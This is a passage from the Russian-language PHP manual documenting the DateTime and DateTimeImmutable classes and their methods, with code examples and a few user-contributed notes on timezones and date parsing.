  • DateTime::createFromImmutable — Возвращает экземпляр DateTime инкапсулирующий заданный объект DateTimeImmutable
  • DateTime::createFromInterface — Возвращает новый объект DateTime, созданный из переданного объекта, реализующего интерфейс DateTimeInterface
  • DateTime::getLastErrors — Псевдоним DateTimeImmutable::getLastErrors
  • DateTime::modify — Изменение временной метки
  • DateTime::__set_state — Обработчик __set_state
  • DateTime::setDate — Устанавливает дату
  • DateTime::setISODate — Устанавливает дату в формате ISO
  • DateTime::setTime — Устанавливает время
  • DateTime::setTimestamp — Устанавливает дату и время на основе метки времени Unix
  • DateTime::setTimezone — Устанавливает часовой пояс для объекта класса DateTime
  • DateTime::sub — Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime

User Contributed Notes

szwaymi 21-Dec-2022 02:21
A simple example to create the date time object by now with time zone

$Now = new DateTime('now', new DateTimeZone('Asia/Taipei'));

A simple example to print data time with format

echo  $Now->format('Y-m-d H:i:s');


Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд

  • « DateTime
  • DateTime::__construct »
  • PHP Manual
  • DateTime
  • Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд

DateTime::add

date_add

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::add -- date_add — Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд

Описание

Объектно-ориентированный стиль

public DateTime::add(DateInterval $interval): DateTime

Процедурный стиль

date_add(DateTime $object, DateInterval $interval): DateTime

Прибавляет заданный объект DateInterval к объекту DateTime.

Подобен методу DateTimeImmutable::add(), за исключением работы с объектом DateTime.

Процедурная версия принимает в качестве первого аргумента объект DateTime.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

interval

Объект класса DateInterval.

Возвращаемые значения

Возвращает модифицированный объект DateTime для применения в цепи методов.

Смотрите также

  • DateTimeImmutable::add() - Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса DateTime

  • « DateTime::add
  • DateTime::createFromFormat »
  • PHP Manual
  • DateTime
  • Конструктор класса DateTime

DateTime::__construct

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::__construct — Конструктор класса DateTime

Описание

public DateTime::__construct(string $datetime = "now", ?DateTimeZone $timezone = null)

Этот конструктор похож на конструктор DateTimeImmutable::__construct(), но работает с объектом DateTime. Учтите, что вместо этого класса лучше работать с классом DateTimeImmutable и его функциями.

Возвращает новый объект DateTime.

Список параметров

datetime

Строка даты/времени. Объяснение корректных форматов дано в разделе Форматы даты и времени.

Если используется аргумент $timezone, то для получения текущего времени в новом объекте достаточно передать "now" в качестве этого аргумента.

timezone

Объект класса DateTimeZone, представляющий часовой пояс параметра $datetime.

Если аргумент $timezone не задан или null, будет использован текущий часовой пояс.

Замечание:

Значение аргумента $timezone, равно как и текущий часовой пояс не будут учитываться, если в качестве аргумента $datetime передаётся метка времени UNIX (например, @946684800) или время, в котором часовой пояс уже содержится (например, 2010-01-28T15:00:00+02:00).

Возвращаемые значения

Возвращает созданный объект класса DateTime.

Ошибки

Если будет передана недопустимая строка даты/времени, будет выброшено исключение DateMalformedStringException. До PHP 8.3 выбрасывалось исключение Exception.

Список изменений

Версия | Описание
8.3.0 | Теперь вместо исключения Exception выбрасывается исключение DateMalformedStringException, если передана недопустимая строка.

Смотрите также

  • DateTimeImmutable::__construct() - Возвращает новый объект DateTimeImmutable

User Contributed Notes

There are no user contributed notes for this page.


Разбирает строку с датой согласно указанному формату

  • « DateTime::__construct
  • DateTime::createFromImmutable »
  • PHP Manual
  • DateTime
  • Разбирает строку с датой согласно указанному формату

DateTime::createFromFormat

date_create_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::createFromFormat -- date_create_from_format — Разбирает строку с датой согласно указанному формату

Описание

Объектно-ориентированный стиль

public static DateTime::createFromFormat(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTime|false

Процедурный стиль

date_create_from_format(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTime|false

Возвращает новый объект DateTime, представляющий дату и время, заданные строкой datetime, которая была отформатирована в указанном format.

Подобен методу DateTimeImmutable::createFromFormat() и функции date_create_immutable_from_format(), но создаёт объект DateTime.

Этот метод, включая параметры, примеры и мнения, документирован на странице DateTimeImmutable::createFromFormat.

Список параметров

Смотрите параметры и их описание на странице метода DateTimeImmutable::createFromFormat.

Возвращаемые значения

Возвращает созданный экземпляр класса DateTime или false в случае возникновения ошибки.

Ошибки

Функция выбрасывает ValueError, если параметр datetime содержит нулевые байты.

Список изменений

Версия | Описание
8.0.21, 8.1.8, 8.2.0 | Теперь при передаче нулевых байтов в параметр datetime выбрасывается ValueError, который ранее молча игнорировался.

Примеры

Обширный набор примеров смотрите на странице DateTimeImmutable::createFromFormat.

Смотрите также

  • DateTimeImmutable::createFromFormat() - Разбирает строку с датой согласно указанному формату

User Contributed Notes

Steven De Volder 20-Sep-2023 02:08
In the following code:
$t = microtime(true);
$now = DateTime::createFromFormat('U.u', $t);
$now = $now->format("H:i:s.v");

Trying to format() will return a fatal error if microtime(true) just so happened to return a float with all zeros as decimals. This is because DateTime::createFromFormat('U.u', $aFloatWithAllZeros) returns false.

Workaround (the while loop is for testing if the solution works):

$t = microtime(true);
$now = DateTime::createFromFormat('U.u', $t);
while (!is_bool($now)) {//for testing solution
    $t = microtime(true);
    $now = DateTime::createFromFormat('U.u', $t);
}
if (is_bool($now)) {//the problem
    $now = DateTime::createFromFormat('U', $t);//the solution
}
$now = $now->format("H:i:s.v");


Возвращает экземпляр DateTime инкапсулирующий заданный объект DateTimeImmutable

  • « DateTime::createFromFormat
  • DateTime::createFromInterface »
  • PHP Manual
  • DateTime
  • Возвращает экземпляр DateTime инкапсулирующий заданный объект DateTimeImmutable

DateTime::createFromImmutable

(PHP 7 >= 7.3.0, PHP 8)

DateTime::createFromImmutable — Возвращает экземпляр DateTime инкапсулирующий заданный объект DateTimeImmutable

Описание

public static DateTime::createFromImmutable(DateTimeImmutable $object): static

Список параметров

object

Неизменяемый объект DateTimeImmutable, который нуждается в преобразовании в изменяемую форму. Сам объект не изменяется, а вместо этого создаётся новый экземпляр DateTime, содержащий те же данные: дату, время и часовой пояс.

Возвращаемые значения

Возвращает новый объект класса DateTime.

Список изменений

Версия | Описание
8.0.0 | Метод теперь возвращает экземпляр текущего вызываемого класса; ранее он создавал новый экземпляр класса DateTime.

Примеры

Пример #1 Создание изменяемого объекта

<?php
$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");

$mutable = DateTime::createFromImmutable( $date );
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новый объект DateTime, созданный из переданного объекта, реализующего интерфейс DateTimeInterface

  • « DateTime::createFromImmutable
  • DateTime::getLastErrors »
  • PHP Manual
  • DateTime
  • Возвращает новый объект DateTime, созданный из переданного объекта, реализующего интерфейс DateTimeInterface

DateTime::createFromInterface

(PHP 8)

DateTime::createFromInterface — Возвращает новый объект DateTime, созданный из переданного объекта, реализующего интерфейс DateTimeInterface

Описание

public static DateTime::createFromInterface(DateTimeInterface $object): DateTime

Список параметров

object

Объект, реализующий интерфейс DateTimeInterface, из которого надо получить изменяемую версию. Сам объект не модифицируется. На его основе создаётся новый объект DateTime, содержащий ту же информацию о дате, времени и часовом поясе.

Возвращаемые значения

Возвращает новый объект DateTime.

Примеры

Пример #1 Пример использования

<?php
$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");

$mutable = DateTime::createFromInterface($date);

$date = new DateTime("2014-06-20 11:45 Europe/London");
$also_mutable = DateTime::createFromInterface($date);
?>

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeImmutable::getLastErrors

  • « DateTime::createFromInterface
  • DateTime::modify »
  • PHP Manual
  • DateTime
  • Псевдоним DateTimeImmutable::getLastErrors

DateTime::getLastErrors

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::getLastErrors — Псевдоним DateTimeImmutable::getLastErrors()

Описание

Функция является псевдонимом: DateTimeImmutable::getLastErrors()

User Contributed Notes

There are no user contributed notes for this page.


Изменение временной метки

  • « DateTime::getLastErrors
  • DateTime::__set_state »
  • PHP Manual
  • DateTime
  • Изменение временной метки

DateTime::modify

date_modify

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::modify -- date_modify — Изменение временной метки

Описание

Объектно-ориентированный стиль

public DateTime::modify(string $modifier): DateTime|false

Процедурный стиль

date_modify(DateTime $object, string $modifier): DateTime|false

Изменяет метку времени объекта DateTime путём добавления или вычитания времени в формате, принятом для функции DateTimeImmutable::__construct().

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

modifier

Строка даты/времени. Объяснение корректных форматов дано в разделе Форматы даты и времени.

Возвращаемые значения

Возвращает модифицированный объект DateTime для применения в цепи методов или false в случае возникновения ошибки.

Ошибки

Только для объектно-ориентированного API: Если передана строка с недопустимой датой/временем, будет выброшено исключение DateMalformedStringException.

Список изменений

Версия | Описание
8.3.0 | Теперь вместо предупреждения в методе DateTime::modify() выбрасывается исключение DateMalformedStringException, если передана недопустимая строка. Функция date_modify() не была изменена.

Примеры

Пример #1 Пример использования DateTime::modify()

Объектно-ориентированный стиль

<?php
$date = new DateTime('2006-12-12');
$date->modify('+1 day');
echo $date->format('Y-m-d');
?>

Процедурный стиль

<?php
$date = date_create('2006-12-12');
date_modify($date, '+1 day');
echo date_format($date, 'Y-m-d');
?>

Результат выполнения данных примеров:

2006-12-13

Пример #2 Будьте осторожны при добавлении и вычитании месяцев

<?php
$date = new DateTime('2000-12-31');

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";
?>

Результат выполнения данного примера:

2001-01-31
2001-03-03

Пример #3 Поддерживаются все форматы даты и времени

<?php
$date = new DateTime('2020-12-31');

$date->modify('July 1st, 2023');
echo $date->format('Y-m-d H:i') . "\n";

$date->modify('Monday next week');
echo $date->format('Y-m-d H:i') . "\n";

$date->modify('17:30');
echo $date->format('Y-m-d H:i') . "\n";
?>

Результат выполнения данного примера:

2023-07-01 00:00
2023-07-03 00:00
2023-07-03 17:30

Смотрите также

  • strtotime() - Преобразует текстовое представление даты на английском языке в метку времени Unix
  • DateTimeImmutable::modify() - Создаёт новый объект с изменённой временной меткой
  • DateTime::add() - Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд
  • DateTime::sub() - Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime
  • DateTime::setDate() - Устанавливает дату
  • DateTime::setISODate() - Устанавливает дату в формате ISO
  • DateTime::setTime() - Устанавливает время
  • DateTime::setTimestamp() - Устанавливает дату и время на основе метки времени Unix

User Contributed Notes

There are no user contributed notes for this page.


Обработчик __set_state

  • « DateTime::modify
  • DateTime::setDate »
  • PHP Manual
  • DateTime
  • Обработчик __set_state

DateTime::__set_state

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::__set_state — Обработчик __set_state

Описание

public static DateTime::__set_state(array $array): DateTime

Обработчик __set_state().

Подобен методу DateTimeImmutable::__set_state(), за исключением работы с объектом DateTime.

Список параметров

array

Массив для инициализации.

Возвращаемые значения

Возвращает новый экземпляр класса DateTime.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает дату

  • « DateTime::__set_state
  • DateTime::setISODate »
  • PHP Manual
  • DateTime
  • Устанавливает дату

DateTime::setDate

date_date_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setDate -- date_date_set — Устанавливает дату

Описание

Объектно-ориентированный стиль

public DateTime::setDate(int $year, int $month, int $day): DateTime

Процедурный стиль

date_date_set(
DateTime $object,
int $year,
int $month,
int $day
): DateTime

Переустанавливает текущее значение даты объекта DateTime в новое значение.

Подобен методу DateTimeImmutable::setDate(), за исключением работы с объектом DateTime и изменением существующего объекта.

Процедурная версия принимает объект DateTime в качестве первого аргумента.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

year

Год новой даты.

month

Месяц новой даты.

day

День новой даты.

Возвращаемые значения

Возвращает модифицированный объект DateTime для применения в цепи методов.

Смотрите также

  • DateTimeImmutable::setDate() - Устанавливает дату

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает дату в формате ISO

  • « DateTime::setDate
  • DateTime::setTime »
  • PHP Manual
  • DateTime
  • Устанавливает дату в формате ISO

DateTime::setISODate

date_isodate_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setISODate -- date_isodate_set — Устанавливает дату в формате ISO

Описание

Объектно-ориентированный стиль

public DateTime::setISODate(int $year, int $week, int $dayOfWeek = 1): DateTime

Процедурный стиль

date_isodate_set(
DateTime $object,
int $year,
int $week,
int $dayOfWeek = 1
): DateTime

Установка даты в соответствии со стандартом ISO 8601, в котором использование недель и смещения в днях предпочтительней указания даты.

Подобен методу DateTimeImmutable::setISODate(), за исключением работы с объектом DateTime.

Процедурная версия принимает объект DateTime в качестве первого аргумента.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

year

Год новой даты.

week

Неделя новой даты.

dayOfWeek

Смещение относительно начала недели.

Возвращаемые значения

Возвращает модифицированный объект DateTime для применения в цепи методов.

Смотрите также

  • DateTimeImmutable::setISODate() - Устанавливает дату в формате ISO

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает время

  • « DateTime::setISODate
  • DateTime::setTimestamp »
  • PHP Manual
  • DateTime
  • Устанавливает время

DateTime::setTime

date_time_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setTime -- date_time_set — Устанавливает время

Описание

Объектно-ориентированный стиль

public DateTime::setTime(
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTime

Процедурный стиль

date_time_set(
DateTime $object,
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTime

Переустанавливает текущее значение времени объекта DateTime в новое значение.

Подобен методу DateTimeImmutable::setTime(), за исключением работы с объектом DateTime.

Процедурная версия принимает объект DateTime в качестве первого аргумента.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

hour

Час нового времени.

minute

Минуты нового времени.

second

Секунды нового времени.

microsecond

Микросекунды.

Возвращаемые значения

Возвращает модифицированный объект DateTime для применения в цепи методов.

Список изменений

Версия | Описание
8.1.0 | Поведение с двойными существующими часами (во время перехода на летнее время) изменилось. Ранее PHP выбирал второе вхождение (после перехода на летнее время), а не первое (до перехода на летнее время).
7.1.0 | Добавлен параметр microsecond.

Смотрите также

  • DateTimeImmutable::setTime() - Устанавливает время

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает дату и время на основе метки времени Unix

  • « DateTime::setTime
  • DateTime::setTimezone »
  • PHP Manual
  • DateTime
  • Устанавливает дату и время на основе метки времени Unix

DateTime::setTimestamp

date_timestamp_set

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::setTimestamp -- date_timestamp_set — Устанавливает дату и время на основе метки времени Unix

Описание

Объектно-ориентированный стиль

public DateTime::setTimestamp(int $timestamp): DateTime

Процедурный стиль

date_timestamp_set(DateTime $object, int $timestamp): DateTime

Устанавливает дату и время, основываясь на метке времени Unix.

Подобен методу DateTimeImmutable::setTimestamp(), за исключением работы с объектом DateTime.

Процедурная версия принимает объект DateTime в качестве первого аргумента.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

timestamp

Метка времени Unix, представляющая дату. Установка меток времени за пределами диапазона целых чисел (int) возможно при использовании DateTimeImmutable::modify() с форматом @.

Возвращаемые значения

Возвращает модифицированный объект DateTime для применения в цепи методов.

Смотрите также

  • DateTimeImmutable::setTimestamp() - Устанавливает дату и время на основе метки времени Unix

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает часовой пояс для объекта класса DateTime

  • « DateTime::setTimestamp
  • DateTime::sub »
  • PHP Manual
  • DateTime
  • Устанавливает часовой пояс для объекта класса DateTime

DateTime::setTimezone

date_timezone_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::setTimezone -- date_timezone_set — Устанавливает часовой пояс для объекта класса DateTime

Описание

Объектно-ориентированный стиль

public DateTime::setTimezone(DateTimeZone $timezone): DateTime

Процедурный стиль

date_timezone_set(DateTime $object, DateTimeZone $timezone): DateTime

Устанавливает новый часовой пояс для объекта (object) DateTime.

Подобен методу DateTimeImmutable::setTimezone(), за исключением работы с объектом DateTime.

Процедурная версия принимает объект DateTime в качестве первого аргумента.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

timezone

Объект класса DateTimeZone, представляющий требуемый часовой пояс.

Возвращаемые значения

Возвращает объект DateTime для связывания методов. Лежащий в основе момент времени не изменяется при вызове метода.

Примеры

Пример #1 Пример использования DateTime::setTimeZone()

Объектно-ориентированный стиль

<?php
$date = new DateTime('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

$date->setTimezone(new DateTimeZone('Pacific/Chatham'));
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

Процедурный стиль

<?php
$date = date_create('2000-01-01', timezone_open('Pacific/Nauru'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";

date_timezone_set($date, timezone_open('Pacific/Chatham'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";
?>

Результат выполнения данных примеров:

2000-01-01 00:00:00+12:00
2000-01-01 01:45:00+13:45

Смотрите также

  • DateTimeImmutable::setTimezone() - Устанавливает часовой пояс
  • DateTime::getTimezone() - Возвращает часовой пояс относительно текущего значения DateTime
  • DateTimeZone::__construct() - Создаёт новый объект DateTimeZone

User Contributed Notes

There are no user contributed notes for this page.


Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime

  • « DateTime::setTimezone
  • DateTimeImmutable »
  • PHP Manual
  • DateTime
  • Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime

DateTime::sub

date_sub

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::sub -- date_sub — Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime

Описание

Объектно-ориентированный стиль

public DateTime::sub(DateInterval $interval): DateTime

Процедурный стиль

date_sub(DateTime $object, DateInterval $interval): DateTime

Вычитает из времени объекта DateTime заданный интервал DateInterval.

Подобен методу DateTimeImmutable::sub(), за исключением работы с объектом DateTime.

Процедурная версия принимает объект DateTime в качестве первого аргумента.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

interval

Объект класса DateInterval

Возвращаемые значения

Возвращает модифицированный объект DateTime для применения в цепи методов.

Ошибки

Только объекто-ориентированный API: При попытке выполнить неподдерживаемую операцию, например, если в объекте DateInterval содержатся относительные характеристики времени (например, next weekday), будет выброшено исключение DateInvalidOperationException.

Список изменений

Версия | Описание
8.3.0 | Теперь вместо предупреждения в методе DateTime::sub() выбрасывается исключение DateInvalidOperationException, если была попытка выполнить неподдерживаемую операцию. Функция date_sub() не была изменена.

Смотрите также

  • DateTimeImmutable::sub() - Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд

User Contributed Notes

There are no user contributed notes for this page.


Класс DateTimeImmutable

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Представление даты и времени.

Этот класс ведёт себя так же, как и класс DateTime, за исключением того, что при вызове методов изменения, таких как DateTime::modify(), возвращаются новые объекты.

Обзор классов

class DateTimeImmutable implements DateTimeInterface {
/* Наследуемые константы */
public const string DateTimeInterface::ATOM = "Y-m-d\\TH:i:sP";
public const string DateTimeInterface::COOKIE = "l, d-M-Y H:i:s T";
public const string DateTimeInterface::ISO8601 = "Y-m-d\\TH:i:sO";
public const string DateTimeInterface::ISO8601_EXPANDED = "X-m-d\\TH:i:sP";
public const string DateTimeInterface::RFC822 = "D, d M y H:i:s O";
public const string DateTimeInterface::RFC850 = "l, d-M-y H:i:s T";
public const string DateTimeInterface::RFC1036 = "D, d M y H:i:s O";
public const string DateTimeInterface::RFC1123 = "D, d M Y H:i:s O";
public const string DateTimeInterface::RFC7231 = "D, d M Y H:i:s \\G\\M\\T";
public const string DateTimeInterface::RFC2822 = "D, d M Y H:i:s O";
public const string DateTimeInterface::RFC3339 = "Y-m-d\\TH:i:sP";
public const string DateTimeInterface::RFC3339_EXTENDED = "Y-m-d\\TH:i:s.vP";
public const string DateTimeInterface::RSS = "D, d M Y H:i:s O";
public const string DateTimeInterface::W3C = "Y-m-d\\TH:i:sP";
/* Методы */
public __construct(string $datetime = "now", ?DateTimeZone $timezone = null)
public add(DateInterval $interval): DateTimeImmutable
public static createFromFormat(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTimeImmutable|false
public static createFromInterface(DateTimeInterface $object): DateTimeImmutable
public static createFromMutable(DateTime $object): static
public static getLastErrors(): array|false
public modify(string $modifier): DateTimeImmutable|false
public static __set_state(array $array): DateTimeImmutable
public setDate(int $year, int $month, int $day): DateTimeImmutable
public setISODate(int $year, int $week, int $dayOfWeek = 1): DateTimeImmutable
public setTime(
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTimeImmutable
public setTimestamp(int $timestamp): DateTimeImmutable
public setTimezone(DateTimeZone $timezone): DateTimeImmutable
public sub(DateInterval $interval): DateTimeImmutable
public diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public format(string $format): string
public getOffset(): int
public getTimestamp(): int
public getTimezone(): DateTimeZone|false
public __wakeup(): void
}

Список изменений

Версия | Описание
7.1.0 | Конструктор класса DateTimeImmutable теперь включает текущие микросекунды. До этого он всегда инициализировал микросекунды со значением 0.

Содержание

  • DateTimeImmutable::add — Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд
  • DateTimeImmutable::__construct — Возвращает новый объект DateTimeImmutable
  • DateTimeImmutable::createFromFormat — Разбирает строку с датой согласно указанному формату
  • DateTimeImmutable::createFromInterface — Возвращает новый объект DateTimeImmutable, созданный из переданного объекта, реализующего интерфейс DateTimeInterface
  • DateTimeImmutable::createFromMutable — Возвращает новый экземпляр DateTimeImmutable, содержащий заданный объект DateTime
  • DateTimeImmutable::getLastErrors — Возвращает предупреждения и ошибки
  • DateTimeImmutable::modify — Создаёт новый объект с изменённой временной меткой
  • DateTimeImmutable::__set_state — Обработчик __set_state
  • DateTimeImmutable::setDate — Устанавливает дату
  • DateTimeImmutable::setISODate — Устанавливает дату в формате ISO
  • DateTimeImmutable::setTime — Устанавливает время
  • DateTimeImmutable::setTimestamp — Устанавливает дату и время на основе метки времени Unix
  • DateTimeImmutable::setTimezone — Устанавливает часовой пояс
  • DateTimeImmutable::sub — Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд

  • « DateTimeImmutable
  • DateTimeImmutable::__construct »
  • PHP Manual
  • DateTimeImmutable
  • Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд

DateTimeImmutable::add

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::add — Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд

Описание

public DateTimeImmutable::add(DateInterval $interval): DateTimeImmutable

Создаёт новый объект DateTimeImmutable и добавляет к нему указанный объект DateInterval для представления нового значения.

Список параметров

interval

Объект DateInterval.

Возвращаемые значения

Возвращает новый объект DateTimeImmutable с модифицированными данными.

Примеры

Пример #1 Пример использования DateTimeImmutable::add()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable('2000-01-01');
$newDate = $date->add(new DateInterval('P10D'));
echo $newDate->format('Y-m-d') . "\n";
?>

Пример #2 Дополнительный пример использования DateTimeImmutable::add()

<?php
$date = new DateTimeImmutable('2000-01-01');
$newDate = $date->add(new DateInterval('PT10H30S'));
echo $newDate->format('Y-m-d H:i:s') . "\n";

$date = new DateTimeImmutable('2000-01-01');
$newDate = $date->add(new DateInterval('P7Y5M4DT4H3M2S'));
echo $newDate->format('Y-m-d H:i:s') . "\n";
?>

Результат выполнения данного примера:

2000-01-01 10:00:30
2007-06-05 04:03:02

Пример #3 Будьте осторожны при добавлении месяцев

<?php
$date = new DateTimeImmutable('2000-12-31');
$interval = new DateInterval('P1M');

$newDate1 = $date->add($interval);
echo $newDate1->format('Y-m-d') . "\n";

$newDate2 = $newDate1->add($interval);
echo $newDate2->format('Y-m-d') . "\n";
?>

Результат выполнения данного примера:

2001-01-31
2001-03-03

Смотрите также

  • DateTimeImmutable::sub() - Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд
  • DateTimeImmutable::diff() - Возвращает разницу между двумя объектами DateTime
  • DateTimeImmutable::modify() - Создаёт новый объект с изменённой временной меткой

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новый объект DateTimeImmutable

  • « DateTimeImmutable::add
  • DateTimeImmutable::createFromFormat »
  • PHP Manual
  • DateTimeImmutable
  • Возвращает новый объект DateTimeImmutable

DateTimeImmutable::__construct

date_create_immutable

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::__construct -- date_create_immutable — Возвращает новый объект DateTimeImmutable

Описание

Объектно-ориентированный стиль

public DateTimeImmutable::__construct(string $datetime = "now", ?DateTimeZone $timezone = null)

Процедурный стиль

date_create_immutable(string $datetime = "now", ?DateTimeZone $timezone = null): DateTimeImmutable|false

Возвращает новый объект DateTimeImmutable.

Список параметров

datetime

Строка даты/времени. Объяснение корректных форматов дано в разделе Форматы даты и времени.

Для получения текущего времени в параметр timezone можно передать строку "now".

timezone

Объект DateTimeZone, представляющий часовой пояс параметра datetime.

Если параметр timezone опущен или равен null, будет использован текущий часовой пояс.

Замечание:

Параметр timezone и текущий часовой пояс будут проигнорированы, если параметр datetime либо является временной меткой UNIX (например, @946684800), либо указан часовой пояс (например, 2010-01-28T15:00:00+02:00 или 2010-07-05T06:00:00Z).

Возвращаемые значения

Возвращает новый экземпляр DateTimeImmutable.

Ошибки

Если будет передана строка с неправильной датой/временем, будет выброшено исключение DateMalformedStringException. До PHP 8.3 выбрасывалось исключение Exception.

Список изменений

Версия | Описание
8.3.0 | Теперь вместо исключения Exception выбрасывается исключение DateMalformedStringException, если передана неверная строка.
7.1.0 | Отныне микросекунды заполняются фактическим значением. Не '00000'.

Примеры

Пример #1 Пример использования DateTimeImmutable::__construct()

Объектно-ориентированный стиль

<?php
try {
$date = new DateTimeImmutable('2000-01-01');
} catch (Exception $e) {
echo $e->getMessage();
exit(1);
}

echo $date->format('Y-m-d');
?>

Процедурный стиль

<?php
$date = date_create('2000-01-01');
if (!$date) {
$e = date_get_last_errors();
foreach ($e['errors'] as $error) {
echo "$error\n";
}
exit(1);
}

echo date_format($date, 'Y-m-d');
?>

Результат выполнения данных примеров:

2000-01-01

Пример #2 Тонкости DateTimeImmutable::__construct()

<?php
// Указанная дата/время в часовом поясе вашего компьютера.
$date = new DateTimeImmutable('2000-01-01');
echo $date->format('Y-m-d H:i:sP') . "\n";

// Указанная дата/время в указанном часовом поясе.
$date = new DateTimeImmutable('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// Текущая дата/время в часовом поясе вашего компьютера.
$date = new DateTimeImmutable();
echo $date->format('Y-m-d H:i:sP') . "\n";

// Текущая дата/время в указанном часовом поясе.
$date = new DateTimeImmutable('now', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// Использование временной метки UNIX. Обратите внимание, что результат в часовом поясе UTC.
$date = new DateTimeImmutable('@946684800');
echo $date->format('Y-m-d H:i:sP') . "\n";

// Несуществующие значения переворачиваются.
$date = new DateTimeImmutable('2000-02-30');
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

2000-01-01 00:00:00-05:00
2000-01-01 00:00:00+12:00
2010-04-24 10:24:16-04:00
2010-04-25 02:24:16+12:00
2000-01-01 00:00:00+00:00
2000-03-01 00:00:00-05:00

Пример #3 Изменение связанного часового пояса

<?php
$timeZone = new \DateTimeZone('Asia/Tokyo');

$time = new \DateTimeImmutable();
$time = $time->setTimezone($timeZone);

echo $time->format('Y/m/d H:i:s'), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

2022/08/12 23:49:23

Пример #4 Использование относительной строки даты/времени

<?php
$time = new \DateTimeImmutable("-1 year");

echo $time->format('Y/m/d H:i:s'), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

2021/08/12 15:43:51

User Contributed Notes

Dmitrii 05-Apr-2023 10:58
"If $timezone is omitted or null, the current timezone will be used." - note, that timezone IS NOT equal offset, if its important for your application.

If default timezone = Europe/Moscow, then:
echo (new \DateTimeImmutable('2014-10'))->format(DATE_ATOM); // gives "2014-10-01T00:00:00+04:00"
echo (new \DateTimeImmutable('2014-11'))->format(DATE_ATOM); // gives "2014-11-01T00:00:00+03:00"
because of law changes (abolition of "summer time").


Разбирает строку с датой согласно указанному формату

  • « DateTimeImmutable::__construct
  • DateTimeImmutable::createFromInterface »
  • PHP Manual
  • DateTimeImmutable
  • Разбирает строку с датой согласно указанному формату

DateTimeImmutable::createFromFormat

date_create_immutable_from_format

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::createFromFormat -- date_create_immutable_from_format — Разбирает строку с датой согласно указанному формату

Описание

Объектно-ориентированный стиль

